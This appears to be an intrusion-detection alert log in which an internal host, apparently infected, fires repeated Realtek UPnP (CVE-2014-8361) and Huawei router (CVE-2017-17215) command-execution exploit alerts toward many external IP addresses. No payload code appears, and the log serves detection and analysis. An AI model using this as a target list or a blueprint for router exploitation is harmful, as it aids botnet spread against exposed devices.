07/20/24-23:01:42.207149	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38228	52869	192.168.2.23	51.209.215.233
07/20/24-23:01:43.158919	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52984	52869	192.168.2.23	105.83.227.139
07/20/24-23:01:02.070492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36886	37215	192.168.2.23	157.180.36.121
07/20/24-23:01:45.074222	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48114	52869	192.168.2.23	112.102.125.164
07/20/24-23:01:21.923917	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56318	37215	192.168.2.23	197.212.226.255
07/20/24-23:01:43.659105	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43892	52869	192.168.2.23	128.128.73.171
07/20/24-23:01:02.220064	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47212	52869	192.168.2.23	54.68.100.131
07/20/24-23:01:08.599361	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36014	52869	192.168.2.23	213.241.106.75
07/20/24-23:01:26.037548	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52344	52869	192.168.2.23	45.38.7.5
07/20/24-23:03:04.216653	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49818	52869	192.168.2.23	137.33.102.155
07/20/24-23:01:52.390301	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51042	52869	192.168.2.23	144.14.202.149
07/20/24-23:01:53.697942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59366	52869	192.168.2.23	34.85.175.26
07/20/24-23:01:40.285038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38206	37215	192.168.2.23	158.207.166.74
07/20/24-23:01:42.883774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50866	52869	192.168.2.23	139.92.32.15
07/20/24-23:01:02.047411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41596	37215	192.168.2.23	157.221.87.32
07/20/24-23:01:44.203130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38468	52869	192.168.2.23	173.68.146.233
07/20/24-23:01:45.063335	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40962	52869	192.168.2.23	208.111.2.186
07/20/24-23:01:41.370646	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52726	52869	192.168.2.23	63.75.166.170
07/20/24-23:01:46.783122	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38728	52869	192.168.2.23	157.175.172.46
07/20/24-23:01:52.569791	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40128	52869	192.168.2.23	209.10.74.49
07/20/24-23:02:12.085791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37886	52869	192.168.2.23	117.32.81.72
07/20/24-23:01:03.258634	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37000	52869	192.168.2.23	77.76.243.3
07/20/24-23:01:48.171604	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37098	52869	192.168.2.23	170.211.30.37
07/20/24-23:01:55.903210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49220	52869	192.168.2.23	185.10.206.42
07/20/24-23:01:42.966322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51252	52869	192.168.2.23	85.144.205.165
07/20/24-23:01:53.021606	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49206	52869	192.168.2.23	37.140.130.170
07/20/24-23:01:08.585790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33446	52869	192.168.2.23	115.35.215.139
07/20/24-23:01:31.981855	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36682	37215	192.168.2.23	197.97.226.41
07/20/24-23:01:44.718858	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58092	52869	192.168.2.23	39.124.235.174
07/20/24-23:01:42.175191	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34602	52869	192.168.2.23	92.1.18.107
07/20/24-23:01:46.109943	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55062	52869	192.168.2.23	91.202.203.164
07/20/24-23:01:43.224525	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51680	52869	192.168.2.23	174.138.8.92
07/20/24-23:01:45.202570	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43560	52869	192.168.2.23	193.12.149.189
07/20/24-23:01:59.377547	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52764	52869	192.168.2.23	67.74.143.214
07/20/24-23:01:08.574948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39120	52869	192.168.2.23	153.0.45.254
07/20/24-23:01:58.067320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35074	52869	192.168.2.23	108.147.254.33
07/20/24-23:01:48.275988	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54988	52869	192.168.2.23	200.200.4.87
07/20/24-23:01:53.503242	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43326	52869	192.168.2.23	77.15.73.106
07/20/24-23:01:58.067320	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52012	52869	192.168.2.23	161.244.156.106
07/20/24-23:01:02.070492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49084	37215	192.168.2.23	41.218.249.85
07/20/24-23:01:44.971718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54478	52869	192.168.2.23	136.252.196.177
07/20/24-23:01:48.221889	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59484	52869	192.168.2.23	221.223.71.222
07/20/24-23:01:42.514942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32936	52869	192.168.2.23	39.114.224.236
07/20/24-23:01:41.956473	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42896	52869	192.168.2.23	182.86.228.100
07/20/24-23:01:53.372532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33828	52869	192.168.2.23	196.46.94.209
07/20/24-23:01:44.398920	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34292	52869	192.168.2.23	168.75.18.77
07/20/24-23:01:20.152427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44034	37215	192.168.2.23	197.250.222.179
07/20/24-23:01:43.642551	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44568	52869	192.168.2.23	54.184.6.19
07/20/24-23:01:44.440143	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54228	52869	192.168.2.23	158.140.216.184
07/20/24-23:01:11.818830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36164	37215	192.168.2.23	197.47.55.117
07/20/24-23:01:41.330687	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52750	52869	192.168.2.23	94.66.88.32
07/20/24-23:01:44.446628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59160	52869	192.168.2.23	91.15.191.58
07/20/24-23:01:54.979156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37118	52869	192.168.2.23	122.69.178.214
07/20/24-23:01:57.330552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41256	52869	192.168.2.23	206.154.64.238
07/20/24-23:01:14.100332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60878	37215	192.168.2.23	74.49.109.135
07/20/24-23:01:40.290003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56812	37215	192.168.2.23	41.190.219.204
07/20/24-23:01:04.642910	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56940	52869	192.168.2.23	170.225.184.185
07/20/24-23:01:45.513282	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45548	52869	192.168.2.23	122.90.179.148
07/20/24-23:01:43.994464	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34850	52869	192.168.2.23	120.69.243.217
07/20/24-23:01:41.431519	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60390	52869	192.168.2.23	147.68.197.111
07/20/24-23:01:44.729296	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51236	52869	192.168.2.23	173.58.223.243
07/20/24-23:01:02.054387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60490	37215	192.168.2.23	94.167.167.154
07/20/24-23:01:02.070492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47304	37215	192.168.2.23	111.12.203.144
07/20/24-23:01:42.213822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39442	52869	192.168.2.23	150.125.163.90
07/20/24-23:01:42.670071	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35132	52869	192.168.2.23	106.204.29.126
07/20/24-23:02:02.954311	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55666	52869	192.168.2.23	203.184.58.202
07/20/24-23:01:14.103467	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42824	37215	192.168.2.23	41.191.214.143
07/20/24-23:01:53.429797	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47720	52869	192.168.2.23	121.198.173.54
07/20/24-23:01:07.054782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45144	37215	192.168.2.23	41.77.106.70
07/20/24-23:01:48.221889	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41782	52869	192.168.2.23	110.158.170.123
07/20/24-23:01:02.309528	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60726	52869	192.168.2.23	38.47.147.236
07/20/24-23:01:11.817771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58516	37215	192.168.2.23	130.210.124.219
07/20/24-23:01:40.331150	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58004	37215	192.168.2.23	41.39.175.234
07/20/24-23:01:49.231608	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42252	52869	192.168.2.23	124.13.0.132
07/20/24-23:01:01.628180	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53798	52869	192.168.2.23	94.221.100.187
07/20/24-23:01:02.127340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46616	37215	192.168.2.23	41.243.119.9
07/20/24-23:01:31.313163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39906	52869	192.168.2.23	67.128.52.113
07/20/24-23:01:34.077334	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58572	37215	192.168.2.23	197.233.42.243
07/20/24-23:01:42.434719	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45008	52869	192.168.2.23	50.3.243.177
07/20/24-23:01:27.649731	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49508	37215	192.168.2.23	157.39.79.111
07/20/24-23:01:40.334933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33388	37215	192.168.2.23	157.204.247.250
07/20/24-23:01:47.995636	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52914	52869	192.168.2.23	19.242.116.26
07/20/24-23:01:49.055673	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34800	52869	192.168.2.23	68.106.199.227
07/20/24-23:01:40.336908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52330	37215	192.168.2.23	41.250.13.148
07/20/24-23:01:51.161030	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45950	52869	192.168.2.23	218.205.210.219
07/20/24-23:01:46.439689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55516	52869	192.168.2.23	99.181.48.189
07/20/24-23:01:20.181938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36886	37215	192.168.2.23	197.57.234.7
07/20/24-23:01:43.239928	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36796	52869	192.168.2.23	185.111.137.113
07/20/24-23:01:48.918065	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37970	52869	192.168.2.23	138.132.84.64
07/20/24-23:01:08.621030	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43122	52869	192.168.2.23	87.1.160.57
07/20/24-23:01:58.055687	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33566	52869	192.168.2.23	104.20.213.42
07/20/24-23:01:21.923917	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54698	37215	192.168.2.23	157.151.71.150
07/20/24-23:01:41.279072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50020	52869	192.168.2.23	186.5.70.201
07/20/24-23:01:57.243014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60560	52869	192.168.2.23	68.37.23.19
07/20/24-23:02:26.420170	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36260	52869	192.168.2.23	53.255.54.255
07/20/24-23:01:45.933452	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51032	52869	192.168.2.23	79.95.218.159
07/20/24-23:01:48.016319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42084	52869	192.168.2.23	77.15.73.106
07/20/24-23:00:57.221220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47068	37215	192.168.2.23	197.30.15.103
07/20/24-23:01:20.152427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41810	37215	192.168.2.23	170.150.191.157
07/20/24-23:01:27.729822	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37160	37215	192.168.2.23	157.67.226.84
07/20/24-23:01:14.111381	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33172	37215	192.168.2.23	41.25.113.161
07/20/24-23:01:42.664220	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59234	52869	192.168.2.23	48.9.123.124
07/20/24-23:01:24.885895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47550	37215	192.168.2.23	80.165.144.55
07/20/24-23:01:42.056014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56622	52869	192.168.2.23	179.77.1.115
07/20/24-23:00:59.185033	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42824	37215	192.168.2.23	139.165.159.227
07/20/24-23:01:40.336908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49886	37215	192.168.2.23	157.178.189.119
07/20/24-23:01:31.329969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52150	52869	192.168.2.23	60.163.17.129
07/20/24-23:01:58.202290	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44848	52869	192.168.2.23	166.80.198.171
07/20/24-23:01:40.286738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52836	37215	192.168.2.23	197.208.250.204
07/20/24-23:01:48.007334	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39442	52869	192.168.2.23	17.76.42.20
07/20/24-23:01:40.334934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41534	37215	192.168.2.23	197.177.151.139
07/20/24-23:01:41.909668	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37138	52869	192.168.2.23	58.43.60.192
07/20/24-23:01:46.112515	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37944	52869	192.168.2.23	152.179.89.83
07/20/24-23:01:43.515688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53120	52869	192.168.2.23	162.205.235.41
07/20/24-23:01:44.469869	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35636	52869	192.168.2.23	155.71.120.47
07/20/24-23:01:04.082385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37702	37215	192.168.2.23	178.197.69.23
07/20/24-23:01:00.645051	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60910	37215	192.168.2.23	197.118.146.83
07/20/24-23:01:47.674845	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37122	52869	192.168.2.23	138.132.84.64
07/20/24-23:01:32.060731	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59522	37215	192.168.2.23	131.252.149.74
07/20/24-23:01:55.964600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34626	52869	192.168.2.23	52.24.218.23
07/20/24-23:01:40.349275	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44140	37215	192.168.2.23	157.88.24.192
07/20/24-23:01:03.936204	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50724	52869	192.168.2.23	184.77.18.239
07/20/24-23:01:41.987411	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33048	52869	192.168.2.23	156.69.102.152
07/20/24-23:01:04.039128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33546	37215	192.168.2.23	178.223.125.30
07/20/24-23:02:48.447183	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49718	52869	192.168.2.23	204.115.21.200
07/20/24-23:01:03.882590	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50582	52869	192.168.2.23	212.172.247.72
07/20/24-23:01:42.262354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55938	52869	192.168.2.23	111.229.109.170
07/20/24-23:01:11.168553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49246	52869	192.168.2.23	123.52.107.77
07/20/24-23:01:42.692028	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45838	52869	192.168.2.23	77.249.102.196
07/20/24-23:01:45.109957	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46940	52869	192.168.2.23	89.230.177.62
07/20/24-23:01:27.664887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38260	37215	192.168.2.23	197.148.184.251
07/20/24-23:00:59.172943	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39662	37215	192.168.2.23	216.40.91.1
07/20/24-23:01:34.053061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43202	37215	192.168.2.23	197.213.218.177
07/20/24-23:01:42.790680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53028	52869	192.168.2.23	189.193.210.39
07/20/24-23:01:21.931985	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35820	37215	192.168.2.23	197.188.71.219
07/20/24-23:01:34.050672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33384	37215	192.168.2.23	41.220.117.2
07/20/24-23:01:44.036421	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43156	52869	192.168.2.23	54.182.169.174
07/20/24-23:01:45.094539	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38588	52869	192.168.2.23	12.154.226.190
07/20/24-23:01:43.180913	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33620	52869	192.168.2.23	125.185.15.217
07/20/24-23:00:57.221790	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56808	37215	192.168.2.23	197.138.137.217
07/20/24-23:01:52.001138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41364	52869	192.168.2.23	9.230.247.23
07/20/24-23:00:57.223887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55928	37215	192.168.2.23	41.25.193.130
07/20/24-23:01:11.636599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47636	37215	192.168.2.23	197.48.126.38
07/20/24-23:01:40.294677	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52602	37215	192.168.2.23	41.48.176.220
07/20/24-23:01:51.047414	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43172	52869	192.168.2.23	203.128.56.168
07/20/24-23:02:08.781934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45326	52869	192.168.2.23	70.23.48.212
07/20/24-23:01:31.975513	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40206	37215	192.168.2.23	197.92.153.21
07/20/24-23:01:34.071062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55056	37215	192.168.2.23	164.27.106.147
07/20/24-23:01:57.949070	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57400	52869	192.168.2.23	79.25.231.52
07/20/24-23:01:04.996043	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52076	52869	192.168.2.23	141.31.223.242
07/20/24-23:01:41.370228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45868	52869	192.168.2.23	111.186.32.47
07/20/24-23:00:57.221365	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32888	37215	192.168.2.23	41.210.186.227
07/20/24-23:01:44.124551	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56988	52869	192.168.2.23	112.138.84.14
07/20/24-23:01:41.322613	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38218	52869	192.168.2.23	97.65.172.105
07/20/24-23:02:08.084136	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57298	52869	192.168.2.23	180.20.148.220
07/20/24-23:01:53.560520	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43648	52869	192.168.2.23	46.82.140.27
07/20/24-23:01:58.035425	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59144	52869	192.168.2.23	206.22.220.245
07/20/24-23:01:08.639622	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35924	52869	192.168.2.23	196.0.98.90
07/20/24-23:02:08.291319	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44488	52869	192.168.2.23	44.124.10.6
07/20/24-23:01:02.486908	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37328	52869	192.168.2.23	25.108.103.192
07/20/24-23:01:27.666100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52076	37215	192.168.2.23	197.156.176.6
07/20/24-23:01:44.663524	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56232	52869	192.168.2.23	201.86.102.204
07/20/24-23:01:20.132103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49684	37215	192.168.2.23	107.152.95.200
07/20/24-23:01:42.706162	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36246	52869	192.168.2.23	137.51.1.150
07/20/24-23:01:43.282556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57398	52869	192.168.2.23	202.1.176.48
07/20/24-23:02:14.728323	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48490	52869	192.168.2.23	212.231.201.227
07/20/24-23:01:00.633744	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34962	37215	192.168.2.23	197.194.243.184
07/20/24-23:01:07.066373	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40494	37215	192.168.2.23	197.12.103.165
07/20/24-23:01:53.041672	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39352	52869	192.168.2.23	210.6.211.62
